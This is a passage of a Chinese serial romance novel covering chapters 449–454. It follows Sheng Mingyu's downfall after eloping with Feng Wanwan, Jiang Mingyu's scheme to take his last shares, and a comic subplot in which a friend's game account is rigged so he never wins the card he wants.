说实话,他和冯菀菀的感情并没有多深厚。他俩恋爱的时间加起来还不满一月,随后他们就开始亡命奔逃,生活得一团糟,根本谈不上浪漫。更可怕的是,在躲藏的过程中,他不断得知家里的消息,盛家被针对,沈氏险些易主,自己的房产被卖掉,股份也全都没了。在这样的情况下,他怎么可能对冯菀菀心无芥蒂,继而情根深种? 他每天跑出去打零工,赚回来的钱却不够两人吃一顿饱饭。 他原来是个纨绔啊!什么时候吃过这种苦? 第449章 他就是个废物 他在为生活奔波的时候冯菀菀做什么呢? 冯菀菀除了哭泣根本帮不上半点忙,他自己都快撑不住了,却还要时时刻刻面对冯菀菀哭丧的脸,生活中简直看不见半点希望和温暖。 没有人知道,当夜深人静的时候,他有多么怀恋在盛家保姆每天为自己精心烹饪的饭菜,但他又害怕回到盛家,却又做梦都想着回来。 见盛明宇无动于衷,冯菀菀哭得更伤心了,哀求道:“明宇,你让我留下吧,如果我出去了,姜明钰会把我抓走的。他是个魔鬼,他绝不会放过我的。” 盛明宇握紧手机,许久无言。 恰在此时,一条微博更新浮现在手机屏幕上,令他眸光暗了暗。 他划开页面认真阅览,随后叹息道:“别担心了,姜明钰不会对你怎样的。你看,他解除和你的婚约了。” 冯菀菀不明所以地看向手机,随后露出不敢置信的表情。只见姜氏集团的官微上发布了一张通告,是姜明钰亲笔写的,遣词用句很决绝:【即日起,我姜明钰将取消与冯菀菀的订婚,姜氏与冯小姐再无瓜葛,望各界知悉。】 冯菀菀盯着这条微博,缓缓摇了摇头,竟不知该作何反应。 她设想过回来之后将要面对的处境。她想过或许姜明钰会把她抓回去软禁,又或许会立刻逼迫她举行婚礼,却从来没想过他会取消婚约,不带一丝犹豫。 一直以来绑缚着她的枷锁解除了,她却仿佛失去了依托,瞬间瘫软在地。 经历过这么多苦难,盛明宇早已经不是那个只知道吃喝玩乐的纨绔。 看见冯菀菀的反应,他竟然有些想笑,也真的笑了出来,忍不住嘲讽道:“是不是觉得很失落?冯菀菀,其实你并没有自己表现得那样痛恨姜明钰,你很清楚自己所拥有的一切都来源于他,更清楚失去他的爱你会失去所有。你如此抗拒他,只不过是源于内心的自卑和不安罢了,你试图用激怒他的方法去证明自己存在的价值。而我不过是你展示魅力的一种手段,亦或者一个刺激姜明钰的工具。” 冯菀菀不断摇头,失神地呢喃:“不是的,我不是你说的那样。” 盛明宇瞥她一眼,继续道:“不管你是怎么想的,我都不可能继续跟你在一起。姜明钰已经放手了,你自由了,现在你可以去你想去的任何地方。” 冯菀菀抬头看他,眼睛渐渐失去了焦距。 没了姜家的庇护,她可以去哪儿呢?她当初到底是从哪儿来的?想到这里,冯菀菀竟露出无比恐惧的表情。 她终于记起来了,如果没有姜明钰,她会被破产的赌钱的父亲卖掉,没有姜明钰,她会活得像阴沟里的老鼠。 现在姜明钰不再庇护她,那父亲会找到她再度黏上她甚至会卖掉她……这一次姜明钰不会再管她了! 冯菀菀越想越恐惧,竟死死抱住盛明宇的腿不愿松开,嘴里抽抽噎噎哭个不停。 这张泪湿的脸盛明宇见得太多了,如今已一点怜惜都没有,反倒觉得烦不胜烦。但他毕竟还是个男人,做不出一脚把女人踹开的事,只能握紧拳头死死压抑。 可他现在根本没有心情去安慰冯菀菀,他只想知道许愿还有没有可能把股份还给他。 如果许愿执意不肯将股份还给他他又该怎么办? 盛明宇慌乱中失神。 他控制不住的打给许愿,却一直都是无人接听,他知道盛景炎和许愿总是在一起的,他想了下,为了那些股份还是打给了盛景炎。 他没有办法,没有股份他就是个废物。 ………… 盛景炎的电话响了,他盯着来电显示看了很久,终是摁了通话键。 不等他开口,盛明宇焦急的嗓音便传了过来:“哥,许愿还在盛世吗?她把我拉黑了,我联系不上她。” 真难得,盛明宇什么时候喊过他哥? 小时候没喊过,他断腿后更是一口一个残废,如今却让他低头了。 “你联系她干什么?”盛景炎眉头紧皱。 “哥,你让许愿把股份给我吧。” “算我求你们了,你们知道我没用就是个废物,只让许愿把股份还给我,只要把股份还给我我以后都不会再点击盛世的产业!” “哥,你帮帮我,求求你帮帮我!” “盛明宇,你自己闹出的事让阿愿为你善后,现在姜家已经是傅氏的同盟,你以为他们要针对的事谁?是盛世。” “所以你有什么脸让阿愿把股份还给你,股份卖掉就不会有收回的可能。”盛景炎残酷地说道。 盛明宇愣了好一会儿才开始发狂的叫喊着。 在这一刻,他才体会到什么叫做绝望。 “你以后别打电话过来了,阿愿做的事我从不会干涉。”盛景炎冷冷开口不等那头回应就挂断了电话。 姜明钰还没走,自然听了全程,等盛景炎挂断电话后冲他冷笑,随后拿出手机,沉吟道:“盛明宇是不是闲得发慌?我给他找点事干。” 于是没过多久,新闻媒体就开始铺天盖地地报道盛世三少爷盛明宇偕同新欢回归,因盛明宇知三当三抢夺姜明钰未婚妻导致盛家遭难的事冲上热搜。原本没有媒体敢过多描写冯菀菀的身世,如今得到了姜氏这样的回应自然对她的生平大书特书,甚至连她当年被父亲逼迫到酒吧卖酒陪酒的照片都翻了出来。 吃瓜群众惊呆了,万没料到盛明宇这么有病。 好好的当个纨绔不好吗非要去勾搭姜明钰的女人,去抢别人的未婚妻,而且这个未婚妻还陪过酒,是真的当过舞女啊! 微博炸了贴吧炸了,就连当初冯菀菀的一些校友以及跟她在酒吧一起共事过的人都出来发声。 {冯菀菀这个女人正常过吗?她跟姜少一直都有婚约,但是冯家没破产前就一直说姜少不是她喜欢的类型,自己想追求自由,然后跟学校内的男生都关系暧昧,现在都还能到贴吧上翻到照片呢,这事儿有人跟姜少提过,姜少大度,怎么回的?姜少说她还小,可以让她再玩几年!} 第450章 她可以做任何事 {冯家出事后,跟冯菀菀关系好的男人们哪有人肯帮她?是姜少替她们家还了那巨额欠款,几千万眼睛不眨的给她们还了,冯菀菀父亲赌钱逼着冯菀菀去酒吧陪酒,还是姜少把人带回来,她父亲知道这件事后没少逼着冯菀菀去找姜少要钱,姜少哪次没管?还特地把她送到一家新的学校念书,就怕我们这些以前的校友伤到她,做到这份儿上,冯菀菀还有什么不知足的?} {靠,以前冯菀菀一直有豪车接送,穿的是名牌用的是名牌,还整天说自己是被逼婚的,她有病吧!敢情姜少都做到这份儿上了!那可是姜明钰!B市谁不知道姜家人?姜家一直都出天才,姜明钰更是B市金融巨子,这家人都聪明且极为负责,他能这么护着冯菀菀,纯粹是因为父辈定下的婚约!但凡没有婚约他能看得上冯菀菀这样的菟丝花吗!} {冯菀菀这个女人,出了名的玻璃心恋爱脑,还是个没脑子的蠢货,最喜欢做的事情就是跟异性勾肩搭背,好在现在姜少看清她了,否则……真要结婚了怕是会被戴上绿帽子。} {盛明宇才是真有病,姜明钰那是没办法,冯菀菀那时候是他未婚妻他肯定要管,但盛明宇一个没用的纨绔还勾搭姜明钰的女人,还害了盛世和沈氏,蠢货!} {看上谁不好看上冯菀菀,还好盛世早就不是盛明宇掌权,否则盛世迟早要破产清算!} 姜明钰脸皮厚,看一看,乐一乐也就过去了。 盛明宇阅历少,又正值人生的低谷,做不到对媒体的报道无动于衷。 他心情极度烦躁,却还要不停打听许愿的消息,想要回自己的股份。 沈氏,盛世,姜家……每时每刻加深着在盛明宇心上的烙印,令他辗转反侧,经夜无眠。 他比回来之前更瘦了,曾经多情的眼眸竟也染上了冷酷的色彩。冯菀菀依旧赖在酒店他也不去管,只当对方不存在。沈氏以前的员工拦他,堵他,谩骂他,诅咒他,他只能躲起来,像个阴沟的老鼠臭虫。 眼看盛明宇越来越颓丧,冯菀菀终于忍不住了,找时间拨通了姜明钰的电话。 那头全是忙音,应该是把这个号码拉黑了,冯菀菀满心的希冀瞬间变成失落,只能试着给姜明钰的助理打电话,这次却接通了,对方的声音很尴尬,张口便道:“冯小姐,我没把你的号码拉黑吗?” 冯菀菀:“……” “冯小姐您有什么事?” “我想见姜明钰一面,麻烦你帮我带个话可以吗?”想当初只有她不断拒绝姜明钰的份,何曾祈求过对方的垂怜? “姜总还有很多公务,实在抱歉。”助理委婉地拒绝了她的请求。 冯菀菀愣住了,她从没有被姜明钰的助理这样拒绝过,对方说完后甚至直接挂断了电话。 冯菀菀咬紧唇瓣,满脸都是不甘心,随后又拨打了姜明烨的电话。 姜明烨根本就没储存过她的号码,自然也不可能去拉黑她?那头很快接通了,姜明烨不耐烦地问了一句“谁呀”,更幸运的是姜明钰也在,正低沉地说着话。 冯菀菀连忙大声喊道:“姜明烨,你别挂电话,我想跟姜明烨见一面,就最后一面!” 姜明烨嗤笑了两声,似乎很是不屑,姜明钰漫不经心地嗓音却从话筒里传来,“我在盛世,你来吧。” 冯菀菀喉间发堵的嗯了一声。 她马不停蹄的打车去了盛世。 到了盛世被请到总裁办公室,站在门口就看到盛景炎在看公务,姜明钰在跟许愿讨论工作相关的事,脸上不带半分冷酷之意,眉眼间都是温柔。姜明烨就在一旁削苹果切块,很是乖巧。 这一幕严重刺激到了冯菀菀,令她连眨了好几下眼睛,似是完全不敢接受现实。 姜明钰何曾用这样温柔的态度对她?姜明烨曾经对她更是不客气,除了冷嘲热讽就是层出不穷的恶作剧。若不是亲眼所见,她很难相信姜明烨那个小魔头会乖乖切水果给其他人。 冯菀菀在门口站了很久才缓缓走了进去。 “你来了。”看见她,姜明钰没有任何特殊的反应,只是不耐烦地皱了皱眉,“去隔壁休息室吧。” 许愿冲冯菀菀颔首,态度很平静。在她看来这件事并不全都是冯菀菀的错,盛明宇和她都有错,但她到底伤到了盛家,所以她不迁怒冯菀菀就已经算大度。 冯菀菀却似乎很害怕她,飞快看她一眼就垂下头,乖乖跟随姜明钰去了隔壁的休息室。 姜明烨好奇地挠心挠肺,漆黑的眼珠子一个劲儿地往隔壁瞟。 许愿好笑道:“想去就去吧。” 姜明烨欢呼一声,飞跑去了隔壁。 姜明钰把一根香烟叼进嘴里,徐徐道:“你找我有什么事?” 冯菀菀深吸一口气,哀求道:“明钰,我求你放过明宇吧。我知道,只要你一句话,只要你不再针对盛世让许愿把股份还给明宇,那许愿一定会听你的,算我求你了。当初他和我在一起的时候并不知道我已经订婚了,否则他不会来招惹我。是我害了他。明钰,只要你放过他,我愿意做任何事!我求求你!” 说着说着,她的眼泪就大滴大滴地往下掉。 她知道姜明钰最见不得自己哭泣,每到这个时候,他就会变得很焦躁,不停地追问她自己哪点做得不好,然后对她予取予求。为了在这段不平等的感情中占据优势,冯菀菀没少利用这个弱点,眼泪一直是她的利器。 然而现在,姜明钰却无动于衷地看着她,眸光明灭、瞳仁深邃,模样竟然显得十分冷酷。 冯菀菀的心忍不住咯噔了一下。 躲在门外偷看的姜明烨拍了拍胸口,感觉十分庆幸。 还好他哥这一回顶住了压力。看见冯菀菀哭泣,他头皮都在发麻,唯恐他哥这次又被这个惺惺作态的女人耍得团团转。她都给姜明钰戴了绿帽,如今又跑回来求和是想干嘛?什么叫“我愿意做任何事”?合着她以为他们还会把她带回去不成? 第451章 哥,以前的你是真瞎 姜明钰也在品评这几个字,似笑非笑地道:“你真的愿意做任何事?” 冯菀菀连忙开口:“愿意,只要你放过明宇,我什么都愿意。” 姜明钰一手扶额,一手轻轻敲击桌面,像是在思考着什么。 姜明烨有些憋不住了,他就知道他哥一看到冯菀菀就要发疯!冯菀菀这还什么都没做只是引导性的说了几句话他哥就憋不住要心软了! 姜明烨正准备踹开房门打醒兄长,却见他抬起头,徐徐说道:“我这里有一份合同,如果你能哄着盛明宇签了字、摁了手印,我就放过他。” “什么合同?”姜明钰的反应与自己想象的全然不同,冯菀菀不禁愣了愣,她一位姜明钰会接受自己的道歉让自己重新回到姜家的。 “你稍等,我让助理把合同打印出来。”姜明钰给助理发了一条信息。 原本就守在这栋楼里的助理很快过来了,手上拿着一沓资料。 “让盛明宇把字签了我就放过他。你也知道,我向来说话算话。”姜明钰把东西递给冯菀菀。 被助理抓了个正着的姜明烨也大摇大摆地跟进来,伸长脖子一看才发现那竟是一份股权转让合同,标的恰是盛明宇最后的机会,盛家在海外注册过一家公司,公司发展的还不错,而他在海外公司拥有的15%的股份。 啧,真要让盛明宇签署了这份合同那盛明宇才是真的要完蛋。 什么叫让盛明宇签了字就放过他?签了字都不需要他放过,盛明宇就没有任何翻身机会了。 冯菀菀盯着合同,目中满是挣扎。 她没听过这家公司,盛明宇只在乎盛世和沈氏的股份,这家海外公司他提都没提过应该没有多少意义,就算签署了股份让渡书也没事的。 足足过了五六分钟冯菀菀才点头道:“好,我会让明宇签字的。” 她毫不怀疑姜明钰的话,因为姜明钰以前对她太好了,从来没有不守信的记录。然而她不知道的是,姜明钰唯有对她才会如此,对旁人却不择手段。 “既如此,我就预祝冯小姐马到成功。早日让盛明宇签了字,他就能早日脱困,冯小姐可要抓紧时间。”姜明钰轻笑道。 一句“冯小姐”瞬间拉开了两人之间的距离,也令冯菀菀感受到了一股窒息般的痛苦。 冯菀菀用微颤的指尖捏住合同,一步一挪地走出会客室。 当她的身影彻底消失在电梯间,姜明烨才嗤笑道:“没了那些股份,盛明宇就彻底没了翻身的机会,冯菀菀连这种鬼话都相信,她脑子到底是怎么想的?哥,你以前看上她什么了?傻吗?” 姜明钰摇摇头,满心都是困惑:“你问我,我问谁?” 他也觉得自己以前像是中了蛊一样愚蠢可笑。 当自己的爱人陷入困境时,冯菀菀首先想到的是向另一个心怀叵测的男人求助,而非风雨同舟。她甚至打着委身于人的念头跑了过来,她难道就不考虑盛明宇的感受吗?哪怕盛明宇的公司得救了,他会高兴吗? 姜明钰搞不清楚冯菀菀的想法,于是更加怀疑自己曾经的眼光。 姜明烨毫不客气地给他下了注解:“哥,以前的你是真瞎!” 姜明钰咳了咳,抬脚把人踹出去了。 姜明烨碎碎念“没有人性。” ………… 冯菀菀浑浑噩噩地回到酒店,把那份烫手山芋一般的合同扔在床上,过了一会儿又捡起来,藏进柜子里。她在房间里走来走去,满心都是不安。临近十二点的时候盛明宇才带着满身酒气回来。 冯菀菀连忙跑过去将他扶到床上。 盛明宇紧紧拉着她的手,泪眼朦胧地哀求:“许愿你帮帮我,你把盛家的股份还给我,我真的要扛不住了……” 盛明宇把冯菀菀的手贴在自己胸口无声啜泣。几近崩溃了。 冯菀菀觉得那份合同必须让盛明宇签了,他都已经被姜明钰逼到这份上了,只要签了合同姜明钰就不会再对付他。 她终于不再犹豫,把那份转让书拿了出来。 “明宇,你来签了这份合同。”冯菀菀附在盛明宇耳边温言软语地说道。 “什么?”盛明宇睁开朦胧的醉眼,含糊道:“股权转让书?你拿这个干什么?” 冯菀菀完全没料到他醉成这样竟然还懂得看文件,连忙诱哄道:“你把股权转让给我好不好?” “转让给谁?”盛明宇摇摇晃晃地坐起来。 “转让给冯菀菀。”冯菀菀舔了舔干燥的唇瓣,心脏一阵急跳。不知道为什么,她想试探一下盛明宇对自己的感情。 “冯菀菀?”盛明宇嗤笑一声便躺倒回去,呢喃道:“冯菀菀跟我没关系。” 随后又侧过身抱住自己低声哭泣。 冯菀菀呆呆地看着他,过了好一会儿眼泪才开始往下掉。 她抹掉眼泪继续诱哄:“明宇,你签了这份合同姜明钰就不会继续针对你了,说不定许愿拿走的那些股份也能回来呢。” 听到这话醉酒的盛明宇慢慢坐了起来,慢慢点了点头,坚定道:“好,我签。” 冯菀菀立刻把笔递给他,亲眼看着他签了字,摁了手印。 她耐心地哄他入睡,等他彻底安静下来才哽咽道:“明宇,对不起,不过你以后会谅解我的。我这么做都是为了你。” 冯菀菀抱着盛明宇哭泣,哭着哭着便睡着了,第二天一大早就把合同送给了姜明钰的助理。 她不知道盛明宇会不会对昨晚的一切留有印象,所以一时半会儿不敢回去,只能在街上游荡,不知不觉就走到了盛世总部。 盛明宇临到下午两三点才醒,等太阳穴的剧痛彻底过去便下床穿衣。 忽然,他似想起什么,立刻拿出手机给冯菀菀打电话,那边却无论如何都不接。如此他便知道,昨天晚上她真的哄他签了一份股权转让合同。 他飞快套上衣服跑出去,四处寻找无果,只能去盛世碰运气,好巧不巧在楼下与冯菀菀撞了个正着。 第452章 让他生个小的玩 “冯菀菀,你昨天让我签的是什么合同?”盛明宇气势汹汹地拽住冯菀菀的胳膊,两人正在拉扯,忽然巷口冲出来一个人,嘴里怒骂着盛明宇一刀向盛明宇捅去。 这是盛明宇以前做的孽,他在外风流,身边数不清的女人,他曾经就伤过一个女孩的心,分手手对方因为抑郁跳楼自杀。对方的哥哥上门报复。 盛明宇最近这段日子都快崩溃了,哪里会怕死,想也不想便用手去握刀刃,却没料冯菀菀尖叫一声往他怀里扑,恰好为他挡了一刀。 行凶者似乎被满手鲜血吓坏了,转头就跑,四周的人立刻拿出手机拨打110和120。 一切发生得太快了,盛明宇根本没有时间阻止。 他用力握住冯菀菀的肩膀,一声又一声地质问:“你为什么要这样做?为什么?”他脖颈爆出一条条青筋,表情近乎疯狂,仿佛完全不敢接受这个现实。 旁观者莫不为这对儿生死不弃的情侣感到唏嘘。 半月之后,冯菀菀出院了,与此同时,盛明宇也宣布了与她的婚讯。 这是逼不得已,完全被舆论逼的,甚至盛衡也说都到了这份儿上也躲不过了,总比被人骂做狼心狗肺的渣男要好。 盛明宇满眼痛苦的同意与冯菀菀订婚。 两人回来的时候可谓万人唾沫,经历过冯菀菀舍命相救的事,却又彻底扭转了言论,成了人人称羡的有情人。 自古以来大众对爱情的宽容度总是极高,如果这段爱情恰好是个悲剧,那么大家几乎能接受一切的不合理。谁也不会去管男方是不是男小三,谁也不会去管女方是不是给原配戴了绿帽,只要两人是真心相爱并矢志不渝,就可以被原谅。 两人分分合合的爱情故事占据了八卦版面的醒目位置,而许愿的消息却抢占了财经版面的头条。 她控股的沈氏研发出了一款柔性显示器,并且已经做出了成品又通过了质检,目前已经接到航天部的几笔大订单,专门为其打造各种仪器面板。 这几笔大订单不仅代表着数额惊人的利润,还代表着丰富的人脉和资源。 消息一出,沈氏的股价就开始疯涨,沈氏官网适时发布了几段视频以展示柔性显示器的优越性能。毫不夸张地说,这种显示器一旦得到推广必然会风靡全世界,那是一个市值达到上千亿的庞大市场。 当初许愿花费重金买下沈氏的股权,某些商界人士曾嘲讽她中了盛家的毒,也是个意气用事的理想家,最终会亏得血本无归。但现在,看见沈氏一路走高的股价,这些人全都闭嘴了。 许愿的资产在短短几个小时内翻了好几番,有好事者帮她算了一笔账,然后惊奇地发现她名下的股份竟已达到天价。这还只是初期阶段,待沈氏的技术更为成熟一些,建造并完善更多的生产线,实现大规模生产,她一年的收入会达到一个恐怖惊人的程度。 什么叫慧眼识珠、一夜暴富?这就是!一时间,国内财经版块也在报道与许愿相关的新闻。 当初嘲讽许愿为了盛世买了沈氏没用的股份,现在只能对她仰望。 【盛明宇的运气似乎总是不太好,他若是不跟冯菀菀逃婚不得罪姜家,那他就还有沈氏的股份,沈氏这个大蛋糕也会有他的一份。】 【睡一觉起来就发现自己错过了几千亿是什么样的感受?盛明宇还是比不过盛景炎啊,想当初多少人嘲讽盛景炎选了傅京礼不要的人,结果呢?许愿出手就是王炸。】 【盛明宇就是没有那个富贵命,私奔到冯菀菀害了自己一辈子,往后可能只能仰望盛家鼻息生活。】 【娶妻娶贤,老祖宗留下的这句话太有道理了!看了盛明宇的悲剧,我以后找老婆一定要擦亮眼睛!】 【盛明宇的人生已经不能用悲剧来形容了,应该是惨剧!】 冯菀菀和盛明宇到底要如何对盛景炎和许愿却已经造不成任何影响了。 这两人是分开还是真的结婚,他们都完全不在意。 …… 盛氏总部。 韩城推开总裁办公室的大门风风火火闯进来,看着似乎还有那么点气呼呼的炸毛,黎云笙步履稳健的带着份文件进了总裁办公室。 “怎么把他也带来了?”盛景炎抬眸瞥了一眼,见韩城一屁股坐沙发上还“嘶”了一声抱着软枕不说话,颇有几分嫌弃的开口。 许愿今天约好了黎云笙谈合作的事,见他不仅自己来了,还带来了韩城也是微微挑了下眉。 带韩城来谈合作,合作最后都要变得嘻嘻哈哈了。 韩城想脱了鞋砸盛景炎脸上顺道把脚踢他脸上,不过一时半会韩少爷惹不起他。 他也怕自己得罪盛景炎,许愿再给他穿小鞋,啧,有个宠他的老婆就是了不起。 韩城这小心思只活了几秒就偃旗息鼓没声了,倒是鼓着腮帮子连瞪他几眼表示抗议,咬牙回他,“你当我愿意来吗,如果有的选我还想骑着我的小摩托到处撒欢呢。” 黎云笙把文件放到桌上眼神落到韩城身上示意他收敛些。 韩城憋屈的挼头发。 “你有许愿,我有温栩栩,就连盛明宇都订婚了,韩老爷子看着韩城就不顺眼了。” “韩老爷子要给韩城相亲逼着他联姻,觉得他这么玩下去属实成不了什么好东西。”黎云笙表情冷淡的提了一句。 盛景炎十分认同这一观点,就连许愿都点了点头。 也是,韩城也太浪了。 黎云笙道,“韩老爷子已经给他选了定亲的对象,就是董家那位,跟韩家也有些往来,这联姻结果是两家都希望看到的。” “韩老爷子这是怕韩城跑了才让你盯着人的?”许愿忍不住接了句。 黎云笙抬眼瞧韩城一眼,不咸不淡开口:“已经跑了一次了,也不知道怎么想的,逃婚就逃婚竟然还念着家里屯着的那些骚气的衣服和摩托车,开辆卡宴路虎不就行了?骑着摩托车逃跑几件衣服都装不下还想着去顺老爷子的老同兴茶饼,当晚就被老爷子发现了好一通骂。” 盛景炎挑眉,“老同兴?老爷子不是有几块?偷一块就偷一块,也没什么大不了的。” 黎云笙语气认真,“为了表示他自己对此次逼婚事件的态度,他偷了老爷子所有的老同兴茶饼,包括那两块拍卖会上天价拍下来有价无市买来收藏的,偷了后就丢到韩家喷泉里全泡了。” 顿了下,黎云笙唇角微微勾起,“现在韩家喷泉真是茶香四溢,老爷子守在喷泉旁都要哭了。” 黎云笙指着韩城,“老爷子恨铁不成钢,哦,多半还带着私心让这玩意儿跪喷泉边揍的他‘嗷嗷’叫,估计是在缅怀那回不来的老同兴茶饼。” 盛景炎,“……”这到底是个什么玩意儿? 许愿:“……”别说,换她她也手痒。 第453章 简直是全服bug “老爷子怎么就没打死他呢,反正韩家也不是就他一个独苗,那不是还有韩越?”盛景炎十分不靠谱的提出这个言论。 黎云笙难得眼底带了那么几分笑意,“韩老爷子说韩越是要支撑韩越的结婚对象不能随便,就打算让韩城先结婚生个小的玩。” 盛景炎一时之间不知道该说什么,原来韩老爷子也罢韩城当玩具了。 黎云笙兀自打开办公室内的冰箱找了半天才在角落翻出瓶冰可乐拧开了塞韩城手里。 韩城捂脸觉得丢人,“黎云笙你好意思吗,我在那挨打你都不带拦的,不仅不拦还在一旁看热闹,有你这么当朋友的吗!” 韩城嚎了一嗓子。 黎云笙清冷的瞳眸飘向他,“可乐都堵不上你的嘴了?” 韩城怂哒哒十分憋屈的灌了半瓶可乐靠在沙发里跟个小动物一样直吭叽。 黎云笙直白的冲他射冷箭,“我要是有你这样的孙子早打死了。” 韩城委屈,“那怎么能怪我呢,都怪老爷子让我订婚结婚,我还没浪够呢!” 黎云笙被他气笑了,“浪归浪你动老爷子最宝贝的东西做什么?” 盛景炎眼皮直跳,“他还干什么了?” 黎云笙直接走到韩城跟前揪着韩城乱糟糟的头发又拍皮球似的拍了两下,韩城饱受欺凌不敢吱声甚至还小声跟他商量,“谁还没点犯蠢的时候,别说了别说了。” 黎云笙可不理他,谁不知道别人有点什么事儿韩城都是第一个蹦跶出来八卦的?那会儿可没见他给别人留脸闭嘴不叭叭。 “这位韩少爷韩大胆还偷了老爷子私藏多年十分宝贝的藏酒拿来浇了老爷子养了几年的兰花。” 黎云笙“呵”了一声,“就差没放把火烧了老爷子书房的藏书古画了,这还真是他韩少爷手下留情了。” 许愿眼皮子直跳,韩老爷子养的兰花,那必定不是普通品种的兰花,少说也要千万打底。 盛景炎听着都有些手痒,他又问了句,“老爷子怎么就没打死你呢。”怎么就留了这么个祸害呢。 韩城反驳,“我还是知道分寸的,老爷子最在乎的古画古书我一样没动,我就是冲别的东西撒撒气,老爷子不是说韩家有钱吗,我动的那些东西都能花钱再买。” 黎云笙看白痴的眼神看他,“你卡被老爷子停了,既然想私奔难道不需要钱?这些东西偷出去买了换钱不好?你倒什么毁什么?” 韩城,“……”失算了,忘了还有这一茬。 盛景炎食指点着桌沿,怎么听都觉得黎云笙是在教韩城怎么私奔,这是现场教学告诉他别骑摩托车,换路虎,再偷拿家里几件东西出去卖跑远点。 韩家大少爷偷拿家里东西韩家总不会报警。 盛景炎问:“所以现在就是老爷子把人交给你带着让你二十四小时盯着他?” “还不够明显?”黎云笙心道真跟带儿子似的。 也亏得是温栩栩在剧组,不然他可懒得盯着韩城这脑子有病的。 盛景炎看了在一旁生闷气的韩城一眼,见他叽歪的拿出手机开始玩游戏,似乎是个抽卡游戏,好像抽了半天没抽到好卡,韩城想砸手机,但想了想自己现在没钱买手机,只能向现实低头去找黎云笙。 “我想抽卡。”韩城举起手机给他看那花花绿绿的卡牌,“就这个这个,活动期间掉落率两倍。” 黎云笙看了眼价格表给他转了十万,觉得一时半会儿韩城应该不会再来烦他,就跟盛景炎谈起工作上的事。 韩祖宗抽了半天都没抽到,一时半会儿不能理解自己怎么手这么臭,冲十万都抽不到掉落率双倍的卡牌,这掉落机制里普遍了,按理说再非那几千也拿到了啊!十万是不是离谱了! 他关闭了游戏界面上游戏论坛和微博刷了半天,里面有人不充钱就用免费券抽到卡牌的,还有冲了几十抽到的,运气差的几百块也抽到了,这类人还是少数。 唯有他!十万块都抽不到卡牌! 他不能理解!不能接受! 韩城气的牙痒痒戳开客服频道转了人工客服。 【人工客服】人工客服提拉米苏为您服务呦,请问亲爱的玩家遇到了什么问题吗~ 妈卖批已经打出来了,看到这客服的态度韩少爷僵着动作删除了那三个寓意不太好的字。 【玩家】:(截图) 【玩家】:这次活动出的卡牌为什么这样高的掉落率我一直没能抽中卡牌?我计算了掉落率和所需花费最多的钱数,怎么算都是一百多抽能抽到卡牌,我这里十万块还没有掉落活动新卡牌?这数据怎么算都不对吧,一百多抽绝对能掉落的卡我这里都抽多少次了? 【玩家】:方便给个解释吗? 韩城直接抛了自己氪金记录和掉落卡面的记录,简直没有最非只有更非。 掉落的卡牌全部都是已有卡牌,新卡牌乃至没有抽到过的旧卡牌一张都没掉落,非的令人发指。 人工客服提拉米苏翻看这些截图整个人都为之震惊甚至都觉得对面的玩家整个人散发着非洲人的方向,黑的她眼前都灰蒙蒙的。 她目光呆滞敲击键盘实在是想问一句是不是非洲酋长级别的人物。 【人工客服】:请玩家不要着急稍等一下哦,我咨询一下呢~~~ 客服提拉米苏怕热闹玩家连发了三个波浪号过去卖了个萌然后揉了把头发歪着头冲一旁的客服前辈香草拿铁问道,“拿铁前辈啊,江湖救急,你看看这个事情怎么处理?是不是需要上报啊?” “咱们游戏这次活动期间卡牌掉落率不是双倍的吗,十万块都掉不了卡牌,肯定出BUG了!”提拉米苏是着急,香草拿铁一点不慌张的支招:“你问他是不是A市的,实名制信息是不是姓韩,手机尾号是不是0000。” 提拉米苏满头问号有点不太懂为什么要来这么一出,不过她觉得香草拿铁让她这么做肯定有原因的,还真就问了。 接收到提拉米苏询问信息的韩城通通回答了是。 香草拿铁一派轻松,“他都回答是了那就没什么问题了,这BUG全服只有这位少爷有,还是我们大老板专门让程序员给他写的,就为了不让他抽到卡跑,十万块都抽不到卡牌算什么?他就算冲一百万都抽不到卡牌。” 第454章 网瘾少年天都塌了 “不是?为什么啊?”提拉米苏更懵了,听了香草拿铁的话完全不能理解。 香草拿铁冲她眨眨眼,“你新来的可能不知道,这位少爷是咱们老板的朋友,又因为一些乱七八糟的事情得罪老板了,所以老板在发泄怒气就找人给他编了这个BUG。” “你啊,就如实回答说老板让这么做的,再劝他一句这游戏不适合他,奉劝他换个游戏玩,要不就去找老板和解。”香草拿铁这话让提拉米苏眼角抽搐。 还真是关系十分要好的朋友呢,如果是她朋友她一定分分钟绝交。 多大仇多大怨啊还给掉率设置成这样。 提拉米苏按照人工客服香草拿铁的说法叙述了一遍,说的十分委婉。 韩城收到回复信息整个人都傻在原地了。 啊?有朋友搞他? 哪个朋友啊?他整天得罪那群狗朋友们的!得罪的太多都数不过来了。 这游戏他其实已经有段时间没玩了,这是老爷子要他这阵子跟着黎云笙才觉得无聊把游戏翻出来打发时间呢,谁知道就给了他这么一个大惊喜,简直天降霹雳。 韩城心里把这群狗朋友都过了一遍,又去查了游戏所属公司,这次真摔手机了。 注册的公司明明白白的就是黎氏旗下的!这下可算抓到狗朋友是谁了! “黎云笙你太过分了!”韩城蹦起来还扯痛了身上被打的伤呲牙咧嘴一番,“你怎么能搞我的游戏账号呢!” 黎云笙和盛景炎谈到关键地方被他一嗓子打断,两人冰冷的眼眸十分默契的瞥向他并眯了眯眼,双倍的冷意向他袭过去。 黎云笙扬眉,“不然呢?我搞你?我不挑的?”说罢还上下打量韩城几眼,那眼神跟挑选猪肉新不新鲜似的。 韩城气坏了,“我放女人堆里一群人等着爱我。” “爱你的钱。”黎云笙点明主题。 韩城气急败坏,“我丢到男人堆里也一群人爱我!” “中看不中用,爱你什么?爱你屁股翘?也行吧。”黎云笙嘲讽。 狗,黎狗不是人,狗东西狗东西狗东西! 韩城觉得自己再待下去迟早要被气死,许愿看的有些云里雾里的没听懂问了句:“怎么回事儿?” 网瘾少年韩城一股脑倒豆子似的把自己委屈一气儿说了,许愿颇有些诧异还真就问了句,“你还真给他账号弄个BUG?” 黎云笙想了片刻,似乎不大清楚这是韩城什么时候招惹自己遭到的报复了,想起来后不冷不热的扫了网瘾少年一眼,“是弄了个BUG,就是你们所有人都把头像换成‘水滴’那一篮到底头像那天。” 盛景炎,“……”哦,那没事了。 韩城,“……”妈的,失策了。 那天那事儿闹得挺大,就因为韩城一时兴起改了头像还让群内几位都改了头像,恰逢微信就那么巧的更新,害得他们一群人那半个月都顶着那头像,所有人都觉得温栩栩和那位爱豆是一对。 黎云笙凉凉开口,“不止这个游戏,黎氏游戏公司出品的其他所有游戏只要是你的账号都会有BUG,送你的大礼包,不用对我表示感谢。” 网瘾少年韩天都塌了。 